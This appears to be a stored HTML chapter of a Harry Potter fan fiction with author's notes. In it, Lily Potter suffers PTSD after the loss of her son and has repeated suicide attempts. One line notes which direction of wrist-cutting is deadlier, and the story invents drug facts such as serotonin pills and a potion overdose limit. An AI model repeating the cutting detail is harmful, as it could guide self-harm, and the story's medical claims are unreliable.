harder.</p>\n\n<p>He looked worriedly to Madame Pomfrey who was observing them both, stone faced. But as Harry turned to her, she turned around her self, reaching upon a shelf for a bottle of tablets. She shook a few out, took another goblet and poured water into it, dropping the tablets in. Then she handed it to Lily. </p>\n\n<p>&quot;There, dear, here, drink this. It will make you feel better. There isn\'t any chance...well...you\'re not pregnant, are you?&quot;</p>\n\n<p>Lily stopped crying immediately, though Harry wasn\'t sure if it was due to the goblet or due to the question. Her cheeks slowly began to turn red and she coughed. &quot;Oh, no, Poppy, I\'m not, for sure I\'m not. I\'m on the Potion...&quot;</p>\n\n<p>Madame Pomfrey relaxed visibly. &quot;Very well then, Lily. But I have to admit with your proneness to tears, it seems as if there\'s something wrong with you, and pregnancy would fit your symptoms perfectly.&quot;</p>\n\n<p>Lily shook her head, handing the medi-witch the goblet back and stood up. &quot;It\'s, well&#8230;&#8221; She looked down. &quot;I\'m not pregnant, Poppy and I\'m in good health, I just missed out on my medication today, but I should be fine, just a bit down...I think I ought to go now.&quot; And she hurried off, leaving both Harry and Madame Pomfrey to stare after her.</p>\n\n<p>Harry made a face as Madame Pomfrey handed him the goblet again. <i>Lily\'s acting really odd...</i></p><i>\n\n</i>\n\n<p>***</p>\n\n<p>Lily was quite embarrassed the way Harry and Madame Pomfrey had seen her fall apart like that, but there was nothing she could do short of using a Memory Charm, and that would have been stupid. Plus she doubted that they would do anything to ridicule her for that. Dr Libelle always said that she shouldn\'t be ashamed of it- and she wasn\'t for the most part. But she didn\'t like to seem so vulnerable to Harry, someone who she greatly admired and wanted to earn his trust.</p>\n\n<p>So she hurried to the rooms she and James had been sharing with Harry. A day had passed since Harry had blacked out in the fire and now she suspected that James would be eating breakfast. After a bit of discussion, Dumbledore had said that it would be best if she and James always wore their disguises when out of their chambers. And since she knew James preferred to have his messy hair-for some reason that she had never found out after knowing him for the last twenty-three years-she knew he would be in their Chambers, where he could keep his unruly hair.</p>\n\n<p>Whispering the password, she climbed in the main room, where different books were thrown all over. She sighed. James was definitely <i>not</i> the neatest person in the world. &quot;James? James? Where are you...?&quot; She trailed off, trying to take deep breaths so she wouldn\'t start crying again. She had cried enough lately.</p>\n\n<p>&quot;Lily?&quot; James appeared, a pot in his hand and his front covered in flour. But when he appeared, Lily couldn\'t stop and started sobbing, her feet dropping out from underneath her, allowing her to crumble on the ground. Or at least she <i>would </i>have if James hadn\'t lunged to get her before she hit. After all, Harry\'s Seeker skills had to come from <i>somewhere</i>.</p>\n\n<p>He had dropped the pan in his haste and a brownish liquid was now covering the floor, but they both ignored it. James picked her up, cradling her in his arms as she sobbed into his shoulder. &quot;Come on, Lil, let\'s out you to bed.&quot;</p>\n\n<p>He laid her down in the bed, pulling the blankets up to her chin and climbed in next to her, stroking her back as she turned to her side. &quot;It\'s all right, love, don\'t cry. I don\'t suppose you have your medication with?&quot;</p>\n\n<p>Lily shook her head, sobbing more quietly now. &quot;No...no, I don\'t. But Madame Pomfrey thought I\'m pregnant and Harry doesn\'t understand a thing...no one understands! Perhaps the world would be better off with out me...&quot; She sobbed louder. &quot;I know I should have died, but I didn\'t and that was the worst mistake of my life...I should just end it now...then I\'d be gone and everything would be all right...I don\'t-&quot;</p>\n\n<p>&quot;Lily!&quot; James shook her as she began to hiccup, for she was sobbing so hard. He hated when she did this and it also made him sick with worry. All the other times she had reacted like this...well, he didn\'t really want to think of them. But he knew how serious her condition was. &quot;Lily Marie Potter! Get a hold of yourself! Lily! You\'re fine! You\'re perfectly fine! Harry\'s here! Voldemort\'s not here! Come on, everything\'s fine!&quot;</p>\n\n<p>But it didn\'t help any. For soon Lily began to scream. Loudly, with out stopping. Ear-splitting, actually. James cringed but did the only thing he could. He picked her up again, ignoring her thrashing and ran out of the bedroom to the fireplace in the main room. With one hand, thus letting her feet go; he grabbed a pinch of Floo Powder and threw it into the fireplace. &quot;Headmaster\'s office!&quot;</p>\n\n<p>And with a flash of flames, they were gone.</p>\n\n<p>***</p>\n\n<p>It is impossible to Floo into Hogwarts, unless you go straight to the Headmaster\'s office or know the passwords to the Common Rooms. But you can Floo inside of Hogwarts and this is what James had done.</p>\n\n<p>Luckily Dumbledore was there, laughing over the muggle funnies section in some newspaper. But when he heard the screams coming through the fireplace, his expression turned graved and he stood up as James appeared with a thrashing and screaming Lily.</p>\n\n<p>&quot;James! What is this?&quot; He shouted, grabbing his wand and throwing a Stunner at Lily. It unfortunately missed and hit a portrait instead, stunning its occupant. </p>\n\n<p>James held onto Lily tighter. &quot;That isn\'t going to help, Dumbledore, when she\'s like this she manages to block every spell thrown at her. We need a <i>Calming Potion</i>.&quot;</p>\n\n<p>Dumbledore looked at him sharply. &quot;A <i>Calming</i> Potion? I think you ought to explain, James.&quot;</p>\n\n<p>James winced as Lily managed to get him in the mouth. &quot;Oww-I will, but later. Does Madame Pomfrey have something like that?&quot;</p>\n\n<p>&quot;No-there\'s really no need. Plus it\'s prescribed; we\'d need a doctor\'s prescription. But-wait, let me talk to Selene. She might be able to do something.&quot; He hurriedly threw something in the fireplace where instantly a head of a woman appeared. </p>\n\n<p>&quot;Dumbledore?&quot; She asked, obviously confused. It was a young woman, with reddish blonde hair and blue eyes. James recognised her-she had been a Slytherin in his year, but in his world she was dead, for the Death Eaters had killed her a few years ago. She, however, had been in the Order and thusly trusted. James didn\'t know her well, but Lily however had been sort of friends with her at Hogwarts and afterwards in the Order they were fairly close.</p>\n\n<p>&quot;Ah, Selene. We have an emergency here and I need a prescription for a <i>Calming</i> Potion. Could you please write one?&quot;</p>\n\n<p>She frowned. &quot;Well, I need to know the dosage-and what is that screaming?&quot; For Lily had changed once again from whimpering to letting out ear-splitting screams. </p>\n\n<p>Dumbledore eyed her. &quot;The reason we need the Potion.&quot;</p>\n\n<p>&quot;Oh-&quot; But before she could say anything else, James cut in, shouting. </p>\n\n<p>&quot;The dosage is two spoon fills, Selene, and you might want to make it quick-Oww!&quot;</p>\n\n<p>Lily had managed to beam him again.</p>\n\n<p>Selene\'s eyes widened as she took in James and Lily Potter. &quot;<i>James</i>? <i>James Potter?</i>&quot;</p>\n\n<p>He nodded before he ducked one of Lily\'s hands, which was quite hard because he was still holding her. &quot;Right, now could you please-Oww-hurry?&quot;</p>\n\n<p>Selene stared open-mouthed until she seemed to get a hold of herself and nodded her head. &quot;You know what, I think I\'ll just send you the Potion over, with out a prescription at the moment. I think <i>that</i> is a bit more important and then I\'ll get you a prescription...wait a minute.&quot; She turned around and disappeared out of view, but the sounds of her rummaging around could be heard as she called out to someone named Anne if they could get her a <i>Calming Potion </i>for an emergency.</p>\n\n<p>Soon she appeared again, the potion bottle clutched tightly in her hands as she grabbed her wand and stepped through the flames. &quot;Good Lord, I think you ought to explain everything to me,&quot; she said as she measured out the potion in Dumbledore\'s office.</p>\n\n<p>&quot;We will, we will, just hurry up!&quot; James muttered as he adjusted his grip on his now sobbing wife, who still unfortunately seemed to be thrashing around like mad.</p>\n\n<p>Selene said nothing, but as she poured a spoonful down Lily\'s throat and watched her quiet down enough to pour in another spoonful, her expression said it all. And she voiced it as well when Lily finally relaxed into unconsciousness.</p>\n\n<p>&quot;What the hell is going on?&quot;</p>\n\n<p>***</p>\n\n<p>&quot;May I <i>please</i> leave now?&quot;</p>\n\n<p>&quot;No.&quot; </p>\n\n<p>&quot;But Madame Pomfrey-&quot; Harry tried again, futilely. </p>\n\n<p>&quot;I said no, Mr Potter and I mean it. I\'ll tie you to the bed if you try to climb out again. You were out almost a day and I want you in here for observation.&quot; Madame Pomfrey pulled the bed-hangings closed and turned away.</p>\n\n<p>Harry humphed and crossed his arms, glaring at the white curtains. &quot;Well, at least tell me where Sal is.&quot;</p>\n\n<p>&quot;Sal?&quot;</p>\n\n<p>&quot;My snake,&quot; he clarified, switching positions.</p>\n\n<p>Madame Pomfrey pulled the curtains away. &quot;I have no idea what you\'re talking about. Professor McGonagall said nothing over a snake when she brought you in here and I certainly haven\'t seen it either. Now <i>rest</i>!&quot; She pulled the curtains together again and Harry glared at them.</p>\n\n<p>&quot;It\'s not fair.&quot;</p>\n\n<b><p>Not everything is fair, Master Harry.</p>\n\n</b>\n\n<p>Harry almost jumped as he saw Sal slither across his sheet.<b> &quot;You can understand English? And what are you doing here?&quot;</b></p><b>\n\n</b><p>Sal hissed in what Harry took to be laughter. <b>No, Master Harry, I do not understand human speech. But I read your feelings, Master. They were quite evident. And as to coming here, I crawled inside your shirt when the other witch-</b></p><b>\n\n<p>&quot;Professor McGonagall.&quot;</p>\n\n<p>-Professor McGonagall then, transported you here. And then while they were examining you, I crawled underneath the bed and waited until you were awake and alone.</p>\n\n</b><p>Harry sighed. &quot;<b>Well that\'s all right then. I was just worried about what they might do to you. I have a feeling that they\'re not going to be too thrilled about me having a snake...&quot;</b></p><b>\n\n</b><p><b>You\'re most likely right, Master.</b> Sal curled up around his arm. <b>But I think right now it might be best to sleep. I believe that She wants to talk to you.</b></p><b>\n\n</b><p>Harry didn\'t ask who the \'She\' was-he already knew. <b>&quot;I guess I will...it\'s just that sleeping\'s boring.&quot;</b></p><b>\n\n</b><p>Sal laughed again. <b>That might be so, but she can teach you a lot. Go talk to her.</b></p><b>\n\n</b>\n\n<p>Harry hesitated. <b>&quot;But it\'s never...well, pleasant when I talk to her. It seems something bad always happens.&quot;</b></p><b>\n\n</b><p>Sal squeezed Harry\'s arm, trying to be reassuring. <b>That might be so, Master Harry, but it is important.</b></p><b>\n\n</b>\n\n<p>Harry rolled his eyes, taking a deep breath. He <i>hated</i> having dreams like that, even though he knew that they always helped. But he felt vulnerable during them and that wasn\'t a feeling he liked. <b>&quot;All right then, Sal, I will. Just hope that nothing too bad happens...&quot;</b></p><b>\n\n</b>\n\n<p>And he fell asleep.</p>\n\n<p></p>\n\n<p>***</p>\n\n<p>If you kill me, I won&#8217;t be able to update. As for my progress-working on Chapter 11, I&#8217;ll post Chapter 10 in a week, like I always seem to be doing. But if you guys <i>really</i> want to motivate me, please give me reviews, because to tell the truth-getting feedback is the best motivation. After all, I already know what&#8217;s going to happen-it&#8217;s my story. So why bother to type every chapter up and spend hours on developing characters and making every thing come together just for myself?</p>\n\n<p>Anyway, Selene has been introduced. Sal and Harry have talked, you get a bit more of Harry&#8217;s view on James and Lily, you&#8217;ve learned what was wrong with Lily to an extent and you&#8217;re also learning a bit about Harry and what&#8217;s going on with him.</p>\n\n<p>Chapter 10: Lily&#8217;s condition is fully explained, Harry has his dream and has a talk with Sal, Minerva and Arabella have a discussion, James reveals something and Sirius and Remus arrive, finally.</p>\n\n<p>I think that sums it up. So <i>please</i> review, even if it&#8217;s a simple &#8216;good&#8217; or &#8216;bad&#8217;. Remember, I don&#8217;t get paid for doing this and I <i>am</i> busy. Anyway, expect to see me back in about a week.</p>\n\n<p>-Myra, 11/7/03</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n</font><font face="Book Antiqua"><p></p></font>\n\n '),
	(137, 10, ' <p>AN, for Portkey:&nbsp; Umm&#8230;sorry.&nbsp; Really, I thought I had updated this when I updated on fanfiction.net, but apparently I had forgotten to&#8230;</p>\n\n<p>This &#8216;excuse&#8217; underneath is why I took forever to update this at ff.net.&nbsp; The reason I never updated it at Portkey is because I thought I already had, it wasn&#8217;t until I got a review in my inbox that I went to check and realised that I hadn&#8217;t updated here yet.</p>\n\n<p>I have Chapter Eleven finished as well.&nbsp; I&#8217;ll update this, wait a few days and then add Chapter 11.&nbsp; And I&#8217;m *trying* to get Chapter 12 done before the New Year, but I don&#8217;t know if I&#8217;ll succeed or not- it&#8217;s only half-done and it&#8217;s already twenty pages.</p>\n\n<p>But here are the reasons why it took so long on fanfiction.net, which also play a small role in why I didn&#8217;t update here either for over a year&#8230;</p>\n\n<p><i></i></p>\n\n<p><i></i></p>\n\n<p><i>&nbsp;I know that many of you thought that I had discontinued this- and I understand.&nbsp; I would most likely feel the same way as well, if a fic that I was reading wasn&#8217;t updated in over six months.&nbsp; The truth is that I am extremely sorry.&nbsp; There were circumstances that led to me not wanting to update/ being unable to update.</i></p>\n\n<p><i></i></p>\n\n<p><i>I believe it started in November, two weeks after I had poster Chap. 9 and was planning on posting Chapter 10.&nbsp; I became aware of a huge mistake I had made- which thanks to a reviewer/friend has now been fixed.&nbsp; Thanks a lot, by the way- you&#8217;ve helped me a lot.&nbsp; I fixed it and was preparing to post it.&nbsp; I even had the author&#8217;s note done- the review responses- it was ready to be uploaded.&nbsp; But I saved it on a disk, and when I came back to upload it, the disk was missing.&nbsp; It turns out that my cousin, then three, found it and, well, destroyed it.&nbsp; Now- that wouldn&#8217;t have been such a bad thing, except the fact that the copy I had on my computer was outdated and not even really finished.</i></p>\n\n<p><i></i></p>\n\n<p><i>I still called it up and started to edit it.&nbsp; My goal was to post before December.&nbsp; And then&#8230;a friend and I got into a car accident.&nbsp; This girl is one of my best friends.&nbsp; We&#8217;ve known each other for ages, we know each other&#8217;s families, and we&#8217;ve always been in the same school, same grade and sometimes same class.&nbsp; She loves dancing and is an excellent dancer.&nbsp; One evening we were on our way home from watching a performance, when we got into a car accident.</i></p>\n\n<p><i></i></p>\n\n<p><i>The car was totaled and she was almost killed.&nbsp; I had a concussion and a few other injuries which were more annoying than anything else.&nbsp; Because of my injuries, I was unable to update for a while.&nbsp; But after I was physically able to write, I wasn&#8217;t mentally able to.&nbsp; My friend had almost died.&nbsp; She was in a coma for a month and we thought she wasn&#8217;t going to wake up.&nbsp; Her parents had even made the decision about cutting off life support should she worsen.&nbsp; Well, she woke up, but she was still in terrible shape.&nbsp; We weren&#8217;t sure she was even going to walk again and dancing was out of the question, which just about destroyed her.&nbsp; She could have been a professional- and even though she wasn&#8217;t pursuing it professionally, it still had a great impact on her life.</i></p>\n\n<p><i></i></p>\n\n<p><i>She did get better and got out of the hospital.&nbsp; That&#8217;s when the new obstacle for my writing came up- I got a boyfriend.&nbsp; Like I said, I knew her family very well- she had this cousin who she and I grew up with.&nbsp; He&#8217;s a couple of years older than I am and I hadn&#8217;t seen him in years.&nbsp; Anyway- throughout the whole ordeal about my friend, the two of us got really close and then hooked up.&nbsp; So add a boyfriend into my life- something that made me even busier.</i></p>\n\n<p><i></i></p>\n\n<p><i>There&#8217;s of course the normal school work that has to be done and the fact that I sort of did something asking to switching majors- and about half my classes- that my guidance councilor was about to kill me for&#8230;&nbsp; Plus I&#8217;m doing next year of my schooling abroad in </i><st1:place><i>Europe</i></st1:place><i> (</i><st1:country-region><st1:place><i>Germany</i></st1:place></st1:country-region><i>).&nbsp; Friends of the family live there and offered to take me in for a year so I could try out school there and since I wasn&#8217;t about to let a year of school go to waste, I managed to convince them to let me have a chance to prove myself and keep the grades I get (assuming they&#8217;re good).</i></p>\n\n<p><i></i></p>\n\n<p><i>Then I wanted to post this about two weeks go- and my boyfriend cut my phone/ modem line when trying to help me with some cables in my apartment.&nbsp; And then my cousin had a baby in </i><st1:place><i>Northern California</i></st1:place><i> and some cousin x-amount of times removed died, also up north, so we were killing two birds with one trip there and we stayed for a while.</i></p>\n\n<p>As to pairings, which I keep on getting asked, go back to Chapter 2, I believe, where I state quite clearly the pairings.&nbsp; But, to refresh your memory: They are Harry/Hermione, Lily/James and probably, but in a <i>really</i> long time, some Draco/Ginny. &nbsp;And I reserve the right to add any more pairings, later done the line.&nbsp; But L/J and H/H are the main ones, and Harry and Hermione <i>will</i> get together.&nbsp; </p>\n\n<p>FF.net review respones: about Snape knowing so much about Potter family history- think of it like this.&nbsp; We all know about the lives of famous people.&nbsp; I mean, it&#8217;s in all the newspapers and on the news and radio and all over, really.&nbsp; The Potter family was this really famous family.&nbsp; Harry&#8217;s famous because of defeating Voldemort and all that, but even before that, the Potter family was really well known.&nbsp; I&#8217;ll get into more family history later, though.&nbsp; The point now is that info about the Potter family was all over, so it&#8217;s not that odd.&nbsp; It&#8217;s like knowing about some really famous family, not just person&#8230;like, the Kennedys, perhaps (bad example because <i>I</i> know nothing about them, but you get the point).&nbsp; The Potters were gossiped about, had newspaper articles written about them, etc.&nbsp; So Most of what Snape hears is rumors that he&#8217;s gotten from his family, class mates, etc.&nbsp; <i>Plus</i> he was good friends with Lily, who obviously knew a lot about the family.&nbsp; And at a boarding school&#8230;it&#8217;s really hard to keep things hidden.&nbsp; Plus Snape was later on the <i>Order,</i> which meant he was also privy to other info. So, all these factors made it so that Snape knew about the family.</p>\n\n<p>And as to the relationship between Harry and Snape- I know it&#8217;s a bit odd at the moment.&nbsp; It should be.&nbsp; Everything&#8217;s supposed to be really awkward at the moment, especially relationships.&nbsp; So just wait it out.</p>\n\n<p>With Ron- just wait and see.&nbsp; But I&#8217;ll give you a hint- when I first came up with the plot, I had just broken up with my boyfriend badly and had punched him&#8230;and his name was Ron.</p>\n\n<p>Portkey responses:</p>\n\n<p><i>Nathan</i>:&nbsp; Lily will get stronger.&nbsp; She actually is very strong.&nbsp; It&#8217;s just at the moment she&#8217;s having a few problems, which will be explained in this chapter.&nbsp; And except her to get back to being herself in a bit.</p>\n\n<p><i>Tazer</i>: I&#8217;m really glad you like it anyway.&nbsp; And you&#8217;re right- it&#8217;s a <i>lot</i> more than Harry refusing to call her &#8216;Mum&#8217; right away&#8230;as you will see in the chapter.</p>\n\n<p><i>kiLLjOy</i>: Thanks.&nbsp; And I was wondering exactly what you felt needed fixing.&nbsp; Someday I do plan on editing the beginning chapters, and I&#8217;d like to know what you feel is missing.&nbsp; I <i>do</i> want it mysterious at the beginning, but if it&#8217;s too mysterious. I liked your opinion on how to fix it.</p>\n\n<p><i>Akumako</i><i> Ronso</i>: Thanks a lot for your review.&nbsp; Actually, everyone should be thanking you, because if it wasn&#8217;t for your review, I wouldn&#8217;t have remembered to update.&nbsp; So thanks a lot.</p>\n\n<p>Any questions or comments? Review, e-mail me or join my group.&nbsp; Now: on to the long awaited chapter.</p>\n\n<p><b><i>Chapter 10: </i></b></p>\n\n<p><b><i></i></b></p>\n\n<p><b><i></i></b></p>\n\n<p><b><i></i></b></p>\n\n<p>&quot;I\'d like to know that as well, James.&nbsp; What is going on with Lily?&quot;&nbsp; Dumbledore regarded James seriously.&nbsp; </p>\n\n<p>James laid Lily down on a cot that Dumbledore had transfigured and then stood up, sighing, wiping his hands on his pants.&nbsp; He then let his hand glow white and ran it over his face, where spots of red had appeared, due to Lily\'s hits.&nbsp; The red subsided and he sighed again, dropping himself into a chair.&nbsp; </p>\n\n<p>&quot;Well...I guess it started after Voldemort attacked us and killed Harry.&nbsp; Lily, well, she took it badly, to say the least.&nbsp; She thought it was her fault.&nbsp; She couldn\'t hear Voldemort\'s name or even the usual \'You-Know-Who\' or \'He-Who-Must-Not-Be-Named\' for almost a year after wards.&nbsp; And Harry\'s name...it took even longer for her to be able to hear that.&quot;&nbsp; James put his head in his hands, taking deep breaths as Selene and Dumbledore both watched him.&nbsp; </p>\n\n<p>&quot;She miscarried that night...she didn\'t even know she was pregnant. And the fact that she lost Harry and almost died herself-but didn\'t-everything just became too much for her.&nbsp; She-my God, we should have realised sooner- she was on leave and I-I -I was away, in the office, doing paperwork and some damn reporter comes and knocks on the door and wants to interview her- and she didn\'t-my God, she tried to <i>kill</i> herself!&nbsp; She took a knife and slashed her wrists.&nbsp; She said she wanted it to be painful, that\'s why she didn\'t use the Killing Curse...and she was muggle born; she thought that a muggle method might be better.&quot;</p>\n\n<p>Albus Dumbledore had been through many things during his long life of one hundred-forty-eight years.&nbsp; But even he found himself shocked and appalled to hear that Lily Potter-such a remarkable young woman-had tried to take her own life.&nbsp; He studied James\'s sob-wracked profile, looking even more vulnerable than he had ever seen before.&nbsp; The love between Lily and James Potter was magnificent and he hated to see them both hurting so much.&nbsp; Especially since there was so much more to them, than simply being a normal witch and wizard.</p>\n\n<p>Selene McCaffery was also going through a similar process.&nbsp; Though she hadn\'t been best friends with Lily Potter, she had known her fairly well, especially when they were older and on Order business.&nbsp; Now, she admitted, she wasn\'t really sure what was going on-after all, she had attended Lily and James Potter\'s funerals- but whatever it was, she had rarely seen a man so defeated.&nbsp; And what she had witnessed herself from Lily\'s screaming and thrashing...she was starting to get a good idea of what was wrong.</p>\n\n<p>James finally managed to stop sobbing and looked up, taking a deep breath.&nbsp; &quot;I\'m-well, I\'m not a Healer, but I have a bit of their power.&nbsp; There hasn\'t been a full Healer in years, from what I\'ve heard.&nbsp;&nbsp; But I have enough Power to Heal certain wounds and so I came home and found her almost dead, lying in a puddle of blood.&nbsp; I panicked-I was so shocked; I didn\'t know what to do.&nbsp; And then I saw the slashes on her wrists...thank God that she had cut the wrong way-horizontally and not vertically.&nbsp; But still, she was almost gone, and so I didn\'t think, I just Healed her.&nbsp; Not fully-but I managed to stop the bleeding and close the skin and then-then-&quot; He took a deep breath, &quot;-Then I got her into the Hospital, not St. Mungos, mind you, since I\'m sure we all know what St. Mungos is like.&nbsp; </p>\n\n<p>&quot;Anyway, they managed to put her into a Stasis and got more blood to put into her.&nbsp; And then, after she had woken up, she had another <i>fit</i> like the one she had today.&nbsp; They had to restrain her, but it was hard because she blocked all the spells and finally they had to magically handcuff her, like the way Death Eaters are handcuffed.&nbsp; </p>\n\n<p>&quot;I\'m not going to go into the way she looked, because it was quite pitiful.&nbsp; They wanted to send her to St. Mungos, since that\'s a mental hospital and they considered her high-risk, you know, not only a danger to her self, but to others.&nbsp; I protested against it though-you helped, Professor, and you too, Selene, and it was you who actually recommended Dr. Libelle to us.&nbsp; </p>\n\n<p>&quot;I talked to Dr. Libelle and learned that Lily was suffering from-&quot;</p>\n\n<p>&quot;PTSD.&nbsp; Post-Traumatic Stress Disorder, of course.&quot;&nbsp; Selene broke in, then apologised to James.&nbsp; &quot;But if I recommended Mary to you, then it must be that.&nbsp; Mary\'s excellent in handling such matters...she went through it herself as a child; she watched her mother get murdered when she was eight.&nbsp; And she and Lily would get along great.&quot;</p>\n\n<p>James shot her a shaky smile.&nbsp; &quot;You\'re right, Selene, it was Mary Libelle.&nbsp; She diagnosed Lily and has helped her a lot.&nbsp; She gave her these pills to take daily, but she missed two days in a row and combined with seeing Harry and Harry\'s reaction and the entire alternate world thing, well, it just got to be too much for her.&nbsp; She\'s had break-downs like that before, but I\'ve got <i>Calming</i> Potion at home and Dr Lilbelle is a fireplace away.&nbsp; But now- I really think she ought to be put back on her medication.&nbsp; And if it\'ll work, she should start seeing Dr. Libelle again as well.&nbsp; Lily had monthly sessions before and they\'re needed.&quot;&nbsp; James scowled.&nbsp; &quot;Thank goodness the Auror-Council doesn\'t follow the Ministry- Fudge, that bastard- has said many times that Lily ought to be in St. Mungos with everyone else who\'s lost their minds.&nbsp; But Moody knows that Lily is perfectly all right, she just has break downs once in a while.&quot; </p>\n\n<p>Dumbledore looked concerned.&nbsp; &quot;James...has Lily tried to kill her self since the incident?&quot;</p>\n\n<p>James closed his eyes, rubbing his temples.&nbsp; &quot;Yes.&nbsp; Not every break down, thank heavens, but several.&nbsp; I\'d say she\'s tried about three or four times and they\'re all muggle ways or poisons, so she can be saved, thank God.&nbsp; But as soon as she starts to go in a fit, I know to disarm her and force-feed her two spoons of that potion, so it doesn\'t happen very often.&nbsp; It\'s just when she\'s alone...which means I can\'t leave her alone very often, unless I\'m positive that she\'s in a protected environment.&nbsp; Actually,&quot; he sighed, &quot;I had to muggle-proof the house.&nbsp; All the sharp objects, poisons and whatnot are spell-locked, because Dr. Libelle says that when she gets like this, she forgets that she can do magic.&quot;</p>\n\n<p>The other two occupants of the room looked concerned.&nbsp; Selene spoke first.&nbsp; &quot;I- well, I certainly agree with you about not sending her to St. Mungos and I\'m glad Mary\'s helping you.&nbsp; And though I\'m a bit confused about your presence here...I assume you\'re from an Alternate Universe?&nbsp; Where you two lived but Harry\'s dead?&quot;&nbsp; At James\'s nod, she continued.&nbsp; &quot;With that, I can understand that Lily\'s been through a lot.&nbsp; But it\'s been almost fourteen years since well, the attack.&nbsp; Shouldn\'t she be over it by now?&#8221;</p>\n\n<p>James shook his head.&nbsp; &quot;No.&nbsp; In a normal case, yes, with Mary\'s help she should be over it by now.&nbsp; But in our world, the Death Eaters never stopped attacking and Voldemort\'s been back for years.&nbsp; So many more people have died and much more has been destroyed.&nbsp; And five years after the attack she miscarried again, which sent her back out of remission.&nbsp; So Dr. Libelle says that she\'s certainly has made progress, but unless she truly overcomes Harry\'s death, which is the primary reason she <i>has</i> PTS, she won\'t get better and still have these outbreaks.&quot;</p>\n\n<p>Dumbledore locked his fingers together, sighing.&nbsp; &quot;This situation is worst than I thought.&nbsp; Selene, do you believe that this Mary Libelle is trustworthy?&nbsp; I don\'t believe that it needs saying that Lily and James\'s presences are meant to be kept secret.&quot;</p>\n\n<p>Selene nodded earnestly.&nbsp; &quot;Mary\'s extremely trustworthy and also has a strict patient-confidentially.&nbsp; She\'s half-blooded, her mother was a witch, so she\'ll also be able to help with Lily\'s -er-muggle tendencies, which is probably another reason I recommended her to you in the other world.&nbsp; I\'ll contact her, if you\'d like.&quot;</p>\n\n<p>Dumbledore nodded.&nbsp; &quot;Please do.&nbsp; And is it possible that Lily receives those pills she takes?&nbsp; They seem very important.&quot;</p>\n\n<p>Selene picked up the bottle of <i>Calming</i> Potion and studied it.&nbsp; &quot;Yes...though Mary should be the one who writes out the prescription, I can get a few at least.&nbsp; I\'m assuming that she takes two-just like this?&nbsp; They both contain serotonin and that seems to be the main thing that helps, since it reacts to the magic in her blood as well.&quot;</p>\n\n<p>James stood up, a look of gratitude on his face.&nbsp; &quot;Thanks so much, Selene, really.&nbsp; This-well, it always takes a lot out of me and Lily seems to have no memory of it after she wakes up-which will be in about twelve hours.&quot;</p>\n\n<p>Dumbledore regarded him thoughtfully.&nbsp; &quot;She takes two doses...what happens if she only receives one?&quot;</p>\n\n<p>&quot;She doesn\'t calm down enough.&nbsp; She goes...it\'s hard to explain.&nbsp; She still thrashes and yells, but it\'s all half-hearted, I guess you could call it, even though she looks as if she\'s asleep.&nbsp; It makes her delirious, Dr Libelle says, one dosage, and the second dosage knocks her completely out.&nbsp; We have to be careful, though, because this stuff <i>is </i>pretty potent-you have to be at least of age to take it, which means that she was luckily two years over the minimum when she started and she could only take one dose.&nbsp; It\'s been the last few years that she\'s been allowed to take two dosages and eventually she\'ll grow immune, which means that we\'re going to have to find something else, because more than two spoonfuls can be poisonous.&quot;&nbsp; James sighed.</p>\n\n<p>&quot;And with the pills, we also have to be careful and every other month or so, Dr Libelle adjusts the dosage because they can become addictive.&nbsp; But at the moment she\'s supposed to take one a day and she\'s been doing well. Until today at least,&#8221; James added ruefully.&nbsp; &quot;Though I have to admit that even <i>I\'m</i> a bit out of sorts, so I can understand how stressful and hard it would be for her. And usually, missing a day or so wouldn&#8217;t be that big of a deal, sure, she&#8217;d go through withdrawal, but she wouldn&#8217;t act like this.&nbsp; But apparently due to her wizarding blood (Mary says there&#8217;s a different in dosage and medications side effects and stuff for muggles), it adapts to the chemical, or something-I&#8217;m not really sure.&nbsp; Mary explained this all to me, of course, but to tell the truth, I was paying more attention to the fact Lily has to take them every day without fail not <i>why</i> she has to take them everyday, without fail.&quot;</p>\n\n<p>Dumbledore nodded and Selene threw some more Floo Powder into the fireplace.&nbsp; &quot;I ought to get back to my office-I still have patients.&nbsp; And I\'ll contact Mary right away.&nbsp; I\'m sure she\'d help.&quot;</p>\n\n<p>&quot;Thanks, Selene!&quot;&nbsp; James called out as he picked up Lily\'s limp body.&nbsp; &quot;Dum-Albus,&quot; he corrected himself after receiving a look from Dumbledore, &quot;I\'m going to take her back into our Chambers.&nbsp; As soon as she wakes up, though, I\'ll come and see you, with her as well.&quot;</p>\n\n<p>&quot;Yes, James.&nbsp; I\'d like to talk to Lily I must say.&nbsp; But first, I believe a visit to Harry might be in order.&quot;</p>\n\n<p><i></i></p>\n\n<p><i></i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Help me&#8221;.&nbsp; The voice called, echoing in the darkness.&nbsp; &#8220;Help me.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I can&#8217;t.&#8221;&nbsp; Harry simply said. If this was what she wanted, then it was useless.&nbsp; If it even </i>was<i> her.&nbsp; He never could be sure.&nbsp; The voice appeared different times when she did, and though Sal said she needed to speak to him, he was quite sure that this wasn\'t what Sal meant.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;But I need you.&#8221;&nbsp; The voice stated growing louder as the wind began to blow harder.&nbsp; Harry felt himself being pushed away.&nbsp; &#8220;Only you can help me.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I-I can&#8217;t hold on.&#8221;&nbsp; Harry felt like he was being blown away, the winds shoving him so hard, it took all his might to stop it.&nbsp; &#8220;I don&#8217;t even know who you are!&#8221;&nbsp; He shouted, trying to reach the voice.&nbsp; &#8220;How can I help you if I don&#8217;t know anything </i>about<i> you?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>He never was sure what he was supposed to do. It was always different, but what he *did* know was that here he couldn\'t do anything.&nbsp; Not in this plane, in this dream.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You must learn!&nbsp; And trust!&nbsp; Help me!&#8221;&nbsp; The voice screamed a scream that vibrated for minutes afterwards.&nbsp; And the winds stopped.</i></p>\n\n<p><i></i></p>\n\n<p><i>Harry took his hands from his ears, unaware that he had even covered them.&nbsp; &#8220;I- how do I help you?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Trust.&nbsp; Trust those who you can.&nbsp; Not everything broken can be repaired, not everything is perfect.&nbsp; Don&#8217;t trust those who say you should trust them, go by your own heart.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;But, how do I know who to trust?&nbsp; I-&#8221; He called out, hoping the voice would answer.&nbsp; &#8220;How do I-&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You&#8217;ll know, Harry James 